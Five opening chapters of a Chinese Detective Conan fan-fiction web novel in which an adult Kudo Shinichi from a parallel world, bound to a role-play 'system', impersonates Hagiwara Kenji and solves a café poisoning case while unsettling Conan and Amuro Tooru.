《工藤警官无话可说》 1. 一只萩原 《工藤警官无话可说》全本免费阅读 “……江户川……江户川?” 从背后响起的声音把江户川柯南从自己的思绪里拉了出来,他侧过头迷茫地看向呼唤自己的小伙伴:“啊,什么?” 灰原哀觉得好笑:“你观察得很投入嘛,又看到什么让你在意的东西了?大侦探。” 今天是周日,所以一大早江户川柯南就被侦探团的孩子们从事务所抓了出来,和同样打着哈欠的灰原哀在公园里碰头。至于现在,他们刚刚踢完几场足球,正在中场休息呢。 所以当灰原哀发现刚刚还满脸无聊的江户川柯南,忽然眼睛一眨不眨地盯着某个方向的时候,脑海里的雷达莫名就开始响了。 ……好像每次这家伙对什么奇怪的人事物感兴趣时,都会有这种表现。 她忍不住想。 “也不算……”江户川柯南双手插兜,边颠球边坦诚回答了她前面的那个问题,“好吧,我就是很在意。” 因为正值休假,公园里的小孩子含量急剧增加,像正在踢足球的都不止他们这几个了,无论在哪个角落似乎都能听到孩子们玩耍时清脆的嬉笑打闹声,他们把这个原本让人昏昏欲睡的午后变得活力满满。 正因如此,那个靠坐在长椅上状似闭目养神的青年才引起了江户川柯南的注意。 他本来只是随便一瞥,结果就挪不开视线了,他发现自己好像见过那个人。但是从看见对方开始,他都在这里回忆了好几分钟,愣是想不起来他们到底在哪儿见过。 长椅上的黑发青年看上去一点都没被公园里的笑闹声打搅到的样子,他的胸膛正缓慢地起伏着,呼吸绵长,明显是睡得正香。 观察到这一点后,江户川柯南嘴角忍不住抽了抽。 今天的太阳是不错啦,可是周围那么吵……这人还真是有着令人羡慕的睡眠质量。 除此之外,青年的那身打扮也让他很难不在意。 对如今倒退回小孩年纪的江户川柯南来说,机车夹克算是他难得知道的审美非常不错的时尚单品,尤其是当穿着这件大胆的撞色夹克的人半点没拉上拉链,让人轻易看见他内搭的是一件清凉的工字背心,背心正面还印着一个夸张的卡通图案。 是哪怕从小孩子的角度也看得出来的青春帅气,也是如果有希子在这里绝对会忍不住夸一夸的好衣品,十足一身cityboy的派头。 但是!这里当然需要加一个但是了,对方如果单纯穿得帅,当然不会成为他关注的重点。 让他感到困惑的地方在于那个人手边空着的椅座上还摆着墨镜口罩棒球帽和围巾,除了墨镜以外,看起来和这身打扮一点也不搭调,而且,现在也不是花粉症多发的季节。 这四样东西随便戴一两个都能解释成时尚,全都带着——对方难道是什么大明星吗?那就更不可能在公园里直接摘掉伪装假寐了吧。 除此之外,那目测出站起来一米九开外的天空树身材,也让那个人看上去仿佛下一秒抓起墨镜就能混进走秀现场,哪怕坐着都显得鹤立鸡群。 远远观望着的小侦探在心里嘀咕了一句:这么出众的人要是真的曾经见过面,他不可能没印象啊。 就是这种似曾相识但无论如何都想不起来的感觉才最让他抓心挠肺,忍不住看了对方一眼又一眼。 灰原哀也顺着他的目光看了过去,不禁扬眉。 “看起来像是模特。”她淡然评价。 江户川柯南下意识赞同地点了点头,又甩了下脑袋吐槽道:“才不是,你猜他是便衣警察都比模特靠谱……别的不说,长得那么帅的模特怎么可能什么伪装都不戴嘛,毕竟他看起来就是一副当模特的话粉丝一定很多的样子。” 这个灰原哀倒是很赞同,她看向对方的目光带着欣赏——欣赏美是人类的本能,更别说对实际年龄十八岁、爱车是哈雷机车的她而言,这个陌生青年的造型打扮真的很值得欣赏。 似乎是睡得不安稳,青年的脑袋在这时忽然往侧边偏了一下,半长的发丝轻柔缓慢地顺着他的脸部轮廓滑落,最后搭在颤动的喉结上,一旁淡青的血管跟着半遮半掩地被挡在了发丝后,睫毛颤动。 暗中观察着的两人反应过来对方这是要醒了,不约而同地挪开了视线,只是灰原哀转移了注意力走开了,江户川柯南却依旧用余光继续观察着那个陌生人。 没办法,公园里太无聊了,和小孩们玩嘛,他又不是很感兴趣,最近事务所也没什么案子,难得遇到可以探究的人,他实在太想知道他们到底在哪里见过了,不打算放过任何一个线索。 那个人睁开眼后第一时间就抬手掩唇打了个哈欠,一双让江户川柯南现在觉得更熟悉了的紫色眼睛眨了两下后,看起来才彻底清醒。 比较值得一提的是,在清醒后,黑发青年的坐姿就悄无声息地变了,如果说原来休憩时他整个人都透着懒散,这时的他就已经坐得脊背笔直。 从体态上看,江户川柯南不禁开始思考该不会真是他前面和灰原随口说的那个猜测——便衣警察什么的。 至于别的,总不能真是模特吧?也不可能是保安保镖什么的啊,那身衣服看起来就足够昂贵了。 江户川柯南想得正入神,背后忽然传来了熟悉的声音。 “咦,你们刚刚在看的就是那个大哥哥吗?”一颗脑袋从他背后探了出来。 “哇,这个大哥哥长得好好看,是认识的人吗?”第二颗脑袋也探了出来。 小侦探忍不住:“你们几个……” 他一转身,果然看到了慢悠悠走回来的灰原哀跟她旁边抱着足球的元太,还有就在自己身后的光彦步美两人。 不用想也知道,绝对是灰原不打算让自己又为了调查案件转头就跑——谁让她前几天跟小兰聊天的时候答应会看好‘总是乱跑的柯南’——才干脆把孩子们也带了过来,让他们来牵制他。 江户川柯南不情不愿地撇撇嘴。 干嘛啦,他只是觉得真的在哪里见过那个人,才多观察了一会儿而已……又不是叔叔那个警视厅认证的瘟神!怎么可能这都能发现案件嘛! “大哥哥走过来了!”面对着江户川柯南的步美忽然小声惊呼,她跟那个黑发大哥哥对上了一秒的视线。 对方连愣都没愣一下,就对她自然而然地露出了一个清爽的笑容,还伸手打了个招呼:“嗨?” 江户川柯南警惕了一秒:他怀疑是自己看太专注被对方捕捉到了视线。 但他其实是有特别注意过这个问题,刚刚没有一直死盯着,而是时不时用余光看过去。这样还能发现的话,要么是本身太敏锐了,要么就是专门训练过,这个大哥哥又是哪一个? 出乎意料的是,青年靠近后在一个比较安全的距离蹲了下来,尽可能缩小他们之间的身高差距,然后弯弯眼睛:“抱歉,小朋友们,我是想问一下路,可以帮我一下吗?” ……什么啦。 小侦探变成了半月眼,但也悄悄松了口气。 热情的侦探团孩子们面面相觑,由光彦率先点头出声:“那大哥哥,你想问的是什么地方?” 后面在小孩中人高马大的元太拍拍胸脯,自豪地说:“我们可是少年侦探团,什么地方都一定能帮大哥哥你找到的!” 后面的江户川柯南心里无奈:现在把话说得这么满,万一找不到怎么办? 那边,青年先是非常配合地夸了一遍孩子们的‘少年侦探团’听上去就很厉害,然后端着下巴,作回忆状:“我想想啊,好像是一个在网上小有名气的咖啡店?除此之外,我只知道那个店里应该有一个很帅的店员先生欸。” 灰原哀凉凉出声,倒也不是打击他,只是在说事实:“符合这个条件的咖啡店在东京有几百家。” “这还是精简过后的。”江户川柯南双手插兜,扬起脸开口补充道,“如果没有更具体的范围,很难找到那家店哦,大哥哥。” 青年遗憾地叹了口气:“说得 2. 两只萩原 《工藤警官无话可说》全本免费阅读 “阿嚏!” 萩原、或者说,扮演着【萩原研二】的工藤新一打了个喷嚏,随后毫不在意地搓了下脸。 什么深沉,什么沉淀,在他身上现在是半点都看不到的。 江户川柯南所不知道,被他注视的陌生人之前其实压根没有睡着,全程都是意识清醒的,更不知道的是,所谓的陌生人其实就是他自己——平行世界的他自己。 老实说,工藤新一自己在这之前也没想到过会有和平行世界的自己面对面的一天啊。 他惆怅地叹了口气:而且,还是用自家下属的身份。 首先他或许需要自我介绍一下—— 【我的名字是工藤新一,一名今年二十六岁的警视厅刑警。 某天我和幼驯染的黑羽快斗一起去魔术展玩,碰巧遇到了需要大变活人的魔术,作为被抽到的幸运观众,为了配合幼驯染的魔术,我走进了箱子,却忽略了脑内自称系统的提示音,眼前一黑…… 当我醒来,我已经来到了平行世界。 身体丝毫没缩小,并且身无分文!倒霉程度过于常人的名警官工藤——】 咳,总之大概就是这样了,现在的情况是,二十六岁的他来自一个和这里截然不同的平行世界,却要因为那个把他搞到这里来的系统,而暂时留在这个世界扮演自己的老熟人们。 他们的世界到底有多么不同?举一个例子就够说明一切: 在工藤新一的世界里,身为刑警的他跟公安头子赤井秀一、前公安黑泽阵,他们三人是对彼此无条件信任的至交好友。 哦,后面两人一般表现得像是宿敌,这就不用多说了。很难想象他们三个人的名字会被摆在一起,还是好友,对吧? 因为某些原因,工藤新一在二十五岁、也就是一年前捡到了一本神奇笔记本——纸质的——并从神奇笔记本自带的人工智能001那里意外得知了其他世界自己的经历,什么当小学生侦探啊,什么和黑衣组织对决啊,简直多姿多彩过头了。 其实他也没什么资格说人家,工藤新一的生活也十分水深火热。 他当时几乎通宵好多天看完了和对方有关的几千话漫画外加数十部剧场版,可以说,工藤现在比柯南自己还要了解——了解这个小学生侦探对抗黑衣组织的世界。 那之后,工藤新一在自己的世界里经历了许多波折,在最后一次和朋友成功拯救世界以后,他也得以重新回到正常的生活中,继续当他的警视厅长官,过着一个月处理几十起刑事案件的社畜生活…… 是的,然后他就在难得的休息日,在自家幼驯染的魔术表演上被‘大变活人’了。 工藤新一几乎能在脑海中想象出来,当黑羽快斗结束表演打开柜子发现里面的他真的失踪了的时候,瞳孔会迎来怎样的颤动。 ……咳,仔细想想还挺有意思。 【别的我都可以不吐槽。】在叹完气后,他脑内终于绷不住地响起了一道机械音,【工藤先生,你为什么这么熟练啊!】 系统被工藤刚刚离开前给自己套上的阴间滤镜给吓到了。 它绑定的不是个警察吗,外面的警察已经是这样的了? 被质问的工藤新一丝毫不慌,他淡定地边走边把口罩墨镜那些行头给戴上了,并在脑海里提醒系统:【我们约好了的噢,007。我可以配合你完成这些角色扮演,但你不能对我的剧本有异议。】 他停顿了一下,半点不心虚:【至于刚才,我只是在本色出演萩原而已。】 系统:【?】 系统怀疑:【可我明明看过了……】 别骗它,萩原研二不是一个毕业没多久就殉职了的警察吗?就算再怎么往前挖性格,那也不是刚刚那样的呀? 【人都是有多面性的。】工藤警官清了清嗓子,开始忽悠,【你只是看到了警校时萩原阳光开朗的一面,没有看到他偶尔也会有的另一面,所以你才会觉得我演的有问题啊。反观柯南,他对我的表演就没有什么异议。】 那是因为柯南压根没认出来他演的是萩原研二,也压根对萩原研二不熟。 【是、是这样吗?】被他这么一说,系统很快动摇了。 它还是个新统,在这方面肯定不熟悉,既然资深的工藤先生都这么说……那大概就是那样? 工藤微笑:【是啊,而且我刚刚什么多余的事都没做吧?如果柯南误会了,那只能代表他擅长居安思危。】 在前往波洛的路上,工藤稍微捋了一下截至目前自己和系统的所有对话,确认了一件事。 这个系统真的很好骗。 工藤出现在这里的原因还要追溯到三天前,和上面说的一样,系统是在他被幼驯染选中成‘大变活人’的幸运观众时出现的。 【你想成名吗?你想一夜暴富吗?你想长生不老吗!你想——复活死者吗?】这个突然出现在他脑海里,还自称007号系统的家伙热情地对他推销着自己,【那么,就来和我签订契约,成为系统的任务者吧!只要完成所有扮演任务,就可以实现一个任何愿望噢!】 好友是日本首富、自己在东京市中心有几套房、生活幸福美满、没有任何认识的人死掉……甚至在东京乃至日本都已经是个大名人的工藤警官陷入了短暂的沉思。 像这样突然在脑袋里响起的声音,工藤并不陌生,所以他也没有在最开始就给出回应,而是假装没有听见,继续做原本的事情——谁知道系统趁着他进了箱子,直接把他送到平行世界来了。 这一招强买强卖就导致了工藤对系统的印象跌破了负值,要不是系统见势不对连忙滑跪,还及时报出了他另一个老熟人的名字,工藤的态度绝对不会像现在这样平常。 工藤都忍不住怀疑,要是系统有实体,大概那个时候就会直接扑上来抱住他的大腿哀嚎了。 【求求你,和我签订契约吧工藤先生!我不想回去继续考试了,工藤博士已经让我补考26次正式系统工作证了!!!】 怪不得你得补考呢,哪有绑定对象还没同意就直接转移世界的,这叫拐卖啊。工藤警官在心里吐槽。 另外,工藤博士是某个‘工藤新一成为了博士’的未来科技世界的他,工藤警官和那位博士偶有来往,互相坑过几次,他的好友人工智能001也是博士的作品。 因此听说博士又做了新的系统时,工藤警官才没有那么惊讶,飞快接受了这个设定。 当然,就算知道这个系统是博士干的好事,工藤也不会直接同意签订什么契约,他任由007哭了三天,自己则是趁着这三天仔细探查了一下身处的这个世界,确认了重要的诸如时间点之类的信息。 007也不是白哭的,它好歹一边哭一边把一些事告诉了工藤警官,其中就比如他们现在暂时回不去原来的世界,需要工藤警官进行角色扮演来积累能量,而完美的角色扮演只有签订契约后才能进行——之类的。 老实说,工藤不喜欢这种被别人推着走的感觉,但既然暂时没有别的办法了,先配合一下对方,等回到他的主场后再讨回来也不是不行。 所以他答应了007,并得知了更详细的、和角色扮演有关的信息。 重新精神抖擞的系统:【总之,工藤先生接下来需要扮演包括你自己在内的各种角色,让这个世界的人为之震撼,最好是震撼到三天不想吃饭的程度!所以,我给你准备了在我们世界特别流行的美强惨剧本……】 好巧不巧,有铃木园子这么个青梅,工藤对这些词熟得不能再熟了,他瞬间喊停。 【先等一下。】工藤沉吟,【我还没有问,既然把我传送过来是你的失误,那么,给我的补偿呢?】 系统卡壳:【 3. 三只萩原 《工藤警官无话可说》全本免费阅读 安室透也不知道是不是因为今天外面天气突然冷了起来,即使进入了温暖的室内,这位客人头顶依旧戴着深色的棒球帽,下半张脸被埋在口罩后面,鼻梁上甚至还架着墨镜。 总体来说遮得很严实,话语也因为被布料隔绝而听得不甚清晰,只是安室透总觉得这道声音听上去微妙的有点耳熟。 收起那点恶寒后,他压下本能,笑容不改地引导客人坐到空位上,然后转身去准备餐点。 对方戴着的口罩和墨镜完美地遮住了所有表情变化,饶是观察力出众的情报精英也看不出什么端倪,但安室透能感觉到这位客人饶有兴致的视线从始至终都落在自己的身上。 奇怪,看起来也不像是店里来过的客人,不大可能是冲着‘安室透’来的……目的总不能是‘波本’吧? 对自己接下来这段时间要经历什么还一无所知的安室透做梦都想不到——对方其实是冲着‘降谷零’来的。 另一边,有了一个不错的开场,工藤也就没再多做什么,而是满意地开始计划下一步动作。 他这次只是来刷个眼熟的,顺便给后面的剧本做个铺垫,所以不需要表现出太多【萩原研二】的特质,顺其自然即可。 安室透这样的聪明人,优点是想的足够多,缺点是想的太多,他需要一个合适的场所来和对方交谈——所以这次只要勾起对方的好奇心,让安室透主动来探究他就行了。 剩下的,比如他到底是谁,为什么会用这张脸出现……都交给你自己想办法解释了,安室先生! 要让对方被震撼,没点伏笔怎么行。 安室透端着托盘从吧台后出来的时候,发现那位客人正撑着下巴看向窗外,而他第一眼看到的不是对方摘了口罩后露在他视角的小半张脸,而是窗上近乎透明的倒影。 先前的熟悉感更加浓厚了……难道他曾经见过对方吗? “客人,这是您的咖啡和意面。”心里想归想,面上金发服务生依旧扬着毫无破绽的笑容,将餐点放在了客人面前的桌上,后者闻言转头,“如果还有什么需要的,请务必告诉我。” “太感谢了,这看上去真的很好吃的样子。”这位特别的客人惊喜地说,眼神从安室透的深蓝色围裙上收了回来,落在白瓷盘中的意大利面上。 “您喜欢就好。”安室透熟练露出应对波洛客人时游刃有余的开朗笑容,并在其中添加了些许被夸赞的欣喜,随后自然而然地跟这位生面孔开始攀谈,“说来惭愧,我好像没有在店里见过您,客人是第一次来波洛的话,要尝尝看店里的招牌三明治吗?” 他挠了挠脸:“我刚好做出来一盘,不介意的话,可以帮我试吃一下吗?” 安室透的关注重点跟柯南不太一样:目测这位客人有一米九一左右,身材也不是弱不禁风的样子货,倒不如说,看起来平时锻炼得很好,就是不知道是爱好还是职业习惯了……嗯,从姿势上看,倒是像经过训练的。 客人正好用叉子卷起面来,闻言抬头看过去一眼,墨镜后的眼睛似乎也弯弯地笑起来,脸上的笑意亲切又随和,乍一看,两个人的表情竟然无比相似。 起码落在刚从外面进店的榎本梓的眼中,一不留神,还以为有两个安室先生在那里呢。 而且还真是好养眼,虽然一个戴着墨镜和棒球帽,一个围着不太好看的围裙,但怎么看都是两个超级大帅哥正在微笑啊。 “……好啊,我的荣幸。”那个陌生的黑发青年欣然点头。 榎本梓忍不住沉思一秒:不行,这样看起来更像安室先生了…… 实不相瞒,直面了对方的安室透对此有更深的体会,但他并不是觉得这位客人的笑容像自己,只是微妙地感觉到了熟悉的气质,一时间又说不出到底是哪里熟悉。 不过他也没什么时间思考这个了,店门再次打开,进来了好几个新客人,安室透也只来得及把三明治端给在意的这位客人,就又转身去招待其他人了。 被留下的萩原研二——或者工藤,倒不如说他还蛮高兴的。 出于一些暂时不太方便说的原因,工藤平时其实是吃不到自己认识的那个降谷零做的三明治的,连和他是邻居的诸伏景光的手艺,他都是难得才吃得到。 【欸?因为工藤先生世界的安室先生不在波洛打工了吗?】一无所知的系统揣测,【也是,你们那里的组织应该已经毁灭很久了吧。】 座位上,黑发青年的眼神漂移了一下。 该怎么说呢,其实并不是那个原因……咳。 他也不继续和系统聊天了,快乐地享用完那盘意面——当然了,安室透的手艺在意面上也体现得很好,但他就是更想尝尝久违的火腿三明治的味道嘛。 放下叉子后,工藤擦了擦手,虔诚地捧起了盘中一块小巧的三明治……不知道为什么,他有一种这玩意在发光的错觉。 然而天不遂人愿,他刚张嘴要咬下去,旁边就响起了重物倒地的声音,还有一声尖叫。 工藤差点咬到自己的舌头。 他猛地转头看过去,不出所料地发现了隔壁桌新进来的客人里有一个男人正倒在地上。 他也没有多犹豫,和另一个人几乎同时扑上前检查那个客人的情况,肤色差异颇大的两双手差点碰在一起,可即使他们已经很快了,却还是比不过这个客人的咽气速度。 “……他已经死了。”他沉重地叹了口气,并假装没看到安室透朝自己投来的视线。 “昌一!!”旁边和死者同行的一个女孩捂脸不敢相信地哭了起来,她也扑上前想看看死者,却被站起身的安室透及时拦住了。 “不好意思,死者是中毒……所以在警方来之前,请不要破坏案发现场。”安室透熟练地说完,扭头看向吧台后,“小梓小姐,报警了吗?” “已经报警了,警察马上就来!”榎本梓连忙回答。 ……欸,警方马上就来?这对他来说可不是什么好消息。工藤也顾不着扮演了,有点头疼地想。 他是三天前才来的,也如之前所说,身无分文,系统被他再三压榨也只能给他搞来一栋楼当落脚点,甚至登记的身份都是假身份。 虽然很嫌弃,但聊胜于无。 勉强算安慰的大概是这个假身份的名字叫平井亚瑟,是工藤警官在自己世界时常用的假身份,所以假证齐全,系统直接全部搬了过来。 对工藤来说,短时间内搞到钱也不是什么难事,他擅长的技能繁多……只是那个时候他还没和系统签订契约,也就不清楚自己到底要扮演什么角色,给萩原这些马甲的假身份才没来得及搞太仔细。 至于【威士忌乐队】?这倒是有,可只存在于名片上,别说乐器,连乐队的其他成员都是需要他之后扮演的,现在根本没影。 简单来说就是,萩原研二现在在这个世界是一个黑户,连假身份都是随便取了个名字,很不走心,哪怕这个身份已经死了七年了,他也不可能顶着这张脸就光明正大地去警视厅做笔录。 那都不是他的演技穿帮不穿帮的问题了,那是贴脸开大啊! 除非他现在就去卫生间变回自己原本的模样,再以平井亚瑟的身份出场……但这根本不可能吧。他本来还准备这两天再尽量完善一下这个身份的,谁知道这次出来就直接碰上了案件。 工藤默默放空了眼神:他的死神体质原来连马甲都挡不住了吗? 兵来将挡,水来土掩。大不了,他就对警方说自己是萩原研二的弟弟,萩原研三!之后再换另一个假身份,脸都不用换,假装他们只是长得像都行。 说真的,要不是因为系统强调过他在扮演途中必须用被扮演对象的脸,工藤早就给萩原研二易容了。 “几位和死者是什么关系?”那边的安室透已经开始询问了。 由于不想这么快吸引安室透的注意力,工藤没有往那个方向凑,只是在死者边上假装自己在维护现场,减轻自己的存在感,实则偷偷竖起耳朵听。 听着听着,他也就差不多知道这群人都是怎么回事了。 和死者一起来的三个人姑且称之为风衣男、长发女孩和眼镜女孩,其中眼镜女孩是死者的女友,但诡异的是,刚刚那声真情实感的昌一(死者名字)是长发女孩喊的,而长发女孩是风衣男的女友,他们四人是大学同学,今天一起来这里四人约会,没想到会发生这种事情。 现在那三个人从安室透口中得知死者是中毒身亡,已经快进到互相推卸责任吵架的环节了。 工藤静静蹲在那里,观察死者的同时,也是在脑海中复原整起案件,想快点找到凶手,那样说不定他还能在警方赶到前就找借口溜之大吉呢。 但他这样安静的样子似乎给了其他人别的错觉。 “那为什么不可能是那个人杀的?他看着就很可疑吧!明明室内也不冷,为什么还要遮得严严实实?”那边的风衣男指着工藤的方向大喊,“要么就让他摘了看看啊!” 哎呀。 突然被卷入争吵中的青年欸了一声,他站起身,脸上似有似 4. 四只萩原 《工藤警官无话可说》全本免费阅读 “如果没有来搜查一课的话,你更青睐哪个部门?” “——欸、问我吗?” 被前辈丢了罐乌龙茶的萩原研二眨眨眼,做思考状:“那样的话,我大概会去警备部吧,□□处理班之前也给我递过邀请来着。” 回答这个问题的时候,萩原研二已经加入七系大半年了,和系里的前辈们也都相处得不错,所以他没有想太多。 “啊,真好啊,既有破案的才能又有拆弹的才能。”年纪最小的那个前辈撇撇嘴,憧憬地说,“警备部的工作一定比刑事部清闲吧?要是去那边上班,就不用天天加班了吧?” “想得美。”肤色黝黑的那个前辈则是翻了个白眼,敲了一下小前辈的脑袋,“就东京这个出现炸弹案的频率,去拆弹也绝对不比破案更安全轻松。” 萩原研二则是摆出了吐槽的表情:“不要说的好像只有我有才能一样啊小平世,明明大家都是不止破案才能的人吧……不过,比起拆弹,现在体验下来,我还是更喜欢留在搜一的感觉。” 他最初进入警校也只是因为对偶像的向往,后来选择就职方向时,自然非常的犹豫,可推动萩原研二加入搜查一课的不仅仅是毛利教官的建议和对跟偶像共事的向往。 更深的,他最初自己都没意识到的…… 还有那份想要用自己的能力侦破案件,为受害者找出真相的心情吧。 萩原研二不知道这个问题是七系每一个人都回答过的,包括他们的老大工藤警官。 他也不知道,在其他无良前辈问他问题时,工藤新一正好就坐在他们后面那张桌子上吃饭。 ——工藤只是在确认死者没救了以后突然想起了这件事。 系统和他签订契约后,他从系统那里得到了所谓的完美扮演的方法。 简单来说,系统会帮助他变成扮演对象的模样,从里到外都是,哪怕安室透拿他的血去做检测,检查结果也绝对是和萩原研二匹配的。 但除了外表以外的地方当然只有他自己来了,系统最多开个辅助插件,在他和萩原共鸣到一定程度后给他看不太准确的进度条——就像现在,工藤和自己认识的那个萩原的共鸣差不多有百分之七十了。 这玩意的好处就是可以帮他把潜意识的习惯动作也矫正成扮演对象的模样,让他不至于因为那种事情穿帮。 萩原研二也不愧是他选定的新手扮演对象,在熟悉的基础上,又出现了这样的案件,导致共鸣涨的飞快,光是这个七十,工藤就保证安室透也看不出来自己和萩原的差别了。 ……如果他演的真的是警察萩原的话。 咳咳,但他现在暂时还是田纳西嘛,所以,抱歉? 他不是故意吓人的,刚才纯属意外,真的。 工藤若无其事地转移目光,低头看向了死者的脸,又看了看那个看起来比死者女朋友还痛苦的长发女孩。 刚刚几人的争执,他也听了个全。 “说到身份……这位小姐和死者之间,如果我没猜错的话,是姐弟吧?”黑发青年好像没感受到室内有些压抑的气氛,笑容如常,他甚至在提到长发女孩时朝对方俏皮地眨了眨眼。 然而在其他人眼中,明明刚刚才发生了杀人案件,对方不但不惊慌害怕,居然还能保持住这样的表情……起码榎本梓现在看着这位客人时,是不会再产生对方和安室先生很像的错觉了。 她并不清楚,她想着的安室先生本人此时已经咬住了后槽牙,努力把喷薄的怒意压了回去,面上伪装出与对方并不相识的平静。 这个假扮成萩原出现在他面前,还用这样的方式来挑衅试探他的家伙…… “你在胡说八道些什么,小惠怎么可能和那家伙是姐弟!”风衣男僵硬过后现在缓过神来了,也许是觉得自己刚刚的反应很丢人,他恼羞成怒地又怼了一句,“你不要为了自证清白就瞎说好吧……话说,你是谁啊?” 风衣男没注意到的是,在对方说出姐弟的时候,长发女孩脸上确实出现了一闪而过的惊讶。 “啊,抱歉,又忘记了。”青年动作熟练地摸出了名片晃了两下,顺便做了个自我介绍,“我只是一个普通的侦探,又和朋友组了个乐队。不介意的话可以喊我四季侦探,全名是四季路。” 说到这里,他停顿了一下,若有若无地看了眼安室透,随后轻快地话音一转,回到了案件上。 “我并不是在无的放矢,我想,这位小姐的表现也可以证明我发言的真实性吧?”他泰然自若地看向长发女孩,后者自己也不知道为什么,在这道目光下条件反射地瑟缩了一下,“你对死者的在意程度已经超过了同学的范围,但很显然,从你的动作跟表情来看,你也并不是喜欢他。” 注意到所有人的视线都不知不觉被吸引到他身上后,四季侦探的心情似乎更愉快了,笑意愈盛。 “当然,让我确定了这个猜测的还是你们面容轮廓中的那些相似。”他托着下巴,随口说道,“而且我也有一个姐姐,所以对于姐弟间的相处——应该说是本能吗?我还是感觉很明显能看出来的。” 听到那句话的第一时间,安室透就控制不住地想到了萩原千速,萩原研二的姐姐,那个如今在神奈川生活的女警。 思及此处,安室透对‘四季路’的警惕更上一层楼。 “所以说怎么可——” “……对,我和昌一是姐弟关系。”长发女孩深吸了一口气,这次没等男友再次反驳完,就主动解释了起来,“只是父母在初中时离婚了,我改了妈妈的姓氏,昌一和爸爸走了,我们直到上大学后才恢复联系。” “但这应该跟案件无关吧。”她犹豫地说,“就算很多年没有见面,我也不可能杀了我的弟弟啊。” “不,这当然有关了。” 四季侦探的眉毛微微上扬,他往三人所在的方向走了过去,明知故问:“没猜错的话,除了惠小姐和死者自己以外,你们周围的其他人都不知道你们的姐弟关系。” 他在经过眼镜女孩身边时稍加停顿:“就比如,这位小姐,她虽然和你是好友,但对你与她男友的亲缘关系一无所知,所以她以为你们之间有些——别的关系。就算没有今天的这场‘意外’,死者还是会遭到杀害。” 眼镜女孩放在口袋里的手猛一收紧,她抬头隔着镜片和偏头看过来的黑发青年对上了视线,瞳仁不由颤动了一下。 “我不知道你是什么意思。”她冷静地反问,同时指向了长发女孩,“难道你觉得我会因为这种误会就杀了我男朋友吗?就算要动手,也该是对她动手才对。” 四季侦探噢了一声。 “你不会吗?” 他抬起手,用手背贴了一下眼镜女孩指向别人的那只手,感受到了意料之中的冰凉。 “我还以为你在害怕被我戳穿了自己的计划,所以才这样看着我,想判断我有没有相信你的辩解呢——哎呀,原来我想错了吗?” 四季侦探眨了眨眼,下垂的眼尾总让他的脸看起来充满了欺骗性的无辜和好说话,连语气都是漫不经心的,与眼镜女孩见过的侦探都不同。 “那还真是抱歉……”就在眼镜女孩心中更加紧绷,以为他要追问下去时,四季侦探忽然又收回了手和目光,略过她继续往前走,“不过那也不是很重要,我只是随便举个例子。” 她怔愣了一下,口袋里攥紧的手也下意识松开。 “惠小姐,你和那位小姐其实是好友吧?”四季侦探的 5. 五只萩原 《工藤警官无话可说》全本免费阅读 “话归正题,我只是想问,既然连好友都产生了误解…那么,惠小姐的男友又是怎么想的呢?” 四季侦探宽容地不再追问和两位女士有关的事情,终于把目标转向了风衣男,后者似乎还没有从女友真的和死者是姐弟的真相中回过神来。 “怎么可能是这样……”他不可置信地看向女友,质问出声,“你们、你们真的是姐弟?小惠,为什么之前没有告诉我?!” “嗯?好像也用不着惠小姐你来回答我了。”四季侦探感慨着的同时,饶有兴致地打量着风衣男,“这位先生的反应就已经很说明问题了。” 他三言两句间,成功把矛盾转接回了三个嫌疑人之中。 被质问的长发女孩还没有反应过来,心里只觉得莫名其妙,她看向自己的男友:“我为什么要告诉你这个…我们才交往一个月啊。” 才一个月,怎么也没到介绍自己破碎的家庭状况的阶段吧? 反倒是眼镜女孩率先理解了四季侦探特地点出风衣男的深意,她果断拉住好友往后退了一步,警惕地看向了风衣男:“所以是你杀了他?” 被质问后,风衣男反而冷静了下来,他咬紧牙关反驳,试图把对方也拖下水:“……不,我为什么要杀他?证据呢,没有证据就血口喷人,我看是你动的手吧?” 这位——工藤并没有听到他的自我介绍——先生还真是格外喜欢在势弱的时候就想方设法把其他人拖下水来给自己垫背。 刚刚就被突然牵扯到‘嫌疑人’里的工藤脸上依旧挂着乐子人看戏的微笑,心情却很平静地想。 不过对方有没有考虑过,就是这种攀扯的举动才更引人怀疑啊。 之前他们一行人进咖啡厅的时候,他还在用餐,所以并没有分给陌生人太多注意力,但即使如此,工藤也还是从记忆里调出了相关的画面。 他记得死者在用餐前先吃了几颗药,并且那四人的座位排布里,死者对面的是长发女孩,身边是眼镜女孩。 按照他们没有人中途离席的情况来看,离死者最近、最有可能动手脚的两位女士会是嫌疑最大的人。 可如果,毒药不是在进入咖啡厅以后下的,而是提前下好了呢? 另一边吧台附近的安室透在发现自己关注着的黑发青年有新动作时,眯起眼不动声色地看了过去,然后就发现对方正在……戴手套? 话说起来,他虽然通过对方绝对是易容状态而怀疑起了贝尔摩德,但他并没有做多余的事情——无论对方是谁,又有什么目的,以萩原的模样出现在他面前就代表对方对他的身份有一定了解和猜测了,如果他直接表现出来关注,那根本就是佐证了对方的猜测。 哪怕那个人真的是贝尔摩德或者被贝尔摩德易容过的其他人……安室透想到自己和贝尔摩德的交易,还有那个女人对那个小侦探的关注,在心里估算了一番。 坦白来说,对方没有直接来找上门说我知道你是卧底了,而是用这种迂回到令人费解的方式跳脸,那就一定还有第二次交易的余地。 卧底的这么多年,安室透又不是什么都没干,作为优秀的情报人员,他手里总有一些对方会感兴趣的东西。 毕竟在安室透看来,贝尔摩德对组织也不是那么‘忠心耿耿’。 这些脑内的思考安室透没有在脸上表现出半点,他用审视的目光暗中看着那个‘侦探’的一举一动——后者正好隔着手套把餐桌上的一个小药瓶拿起来端详了一会儿。 “惠小姐,死者是有慢性胃炎吗?”在眼镜女孩再度和风衣男吵起来的时候,安静了一会儿的侦探忽然出声打断了他们,对长发女孩问道。 “呃……是的,有什么问题吗?”长发女孩愣了一下,忽然紧张起来,“难道是在药里下的毒吗?!” “嗯?在警方赶到之前,我们可不能对尸体做太多检查。所以虽然知道死者是被毒杀的,但作案手法是没办法靠着空想就找到的。” 青年摊手,在风衣男脸上隐约出现放松的神色前,施施然亮出了手里的药瓶,和善一笑:“——不过不要紧,等警方赶到后做了更详细的检查,毒药下在哪里,又是谁下的,很快就会有答案了。” “只不过,那个时候再被逮捕,之后的量刑就不是自首能比得上的了吧。” 日本法律规定,自首必须是在警方还没有发现犯罪事实或谁是犯人前就主动告诉警方自己犯罪了才行,所以犯人要是还想减轻量刑,就得在警方赶到前出来承认。 四季侦探往风衣男的方向慢悠悠地走了两步又停下,怎么看都是在故意吓人。 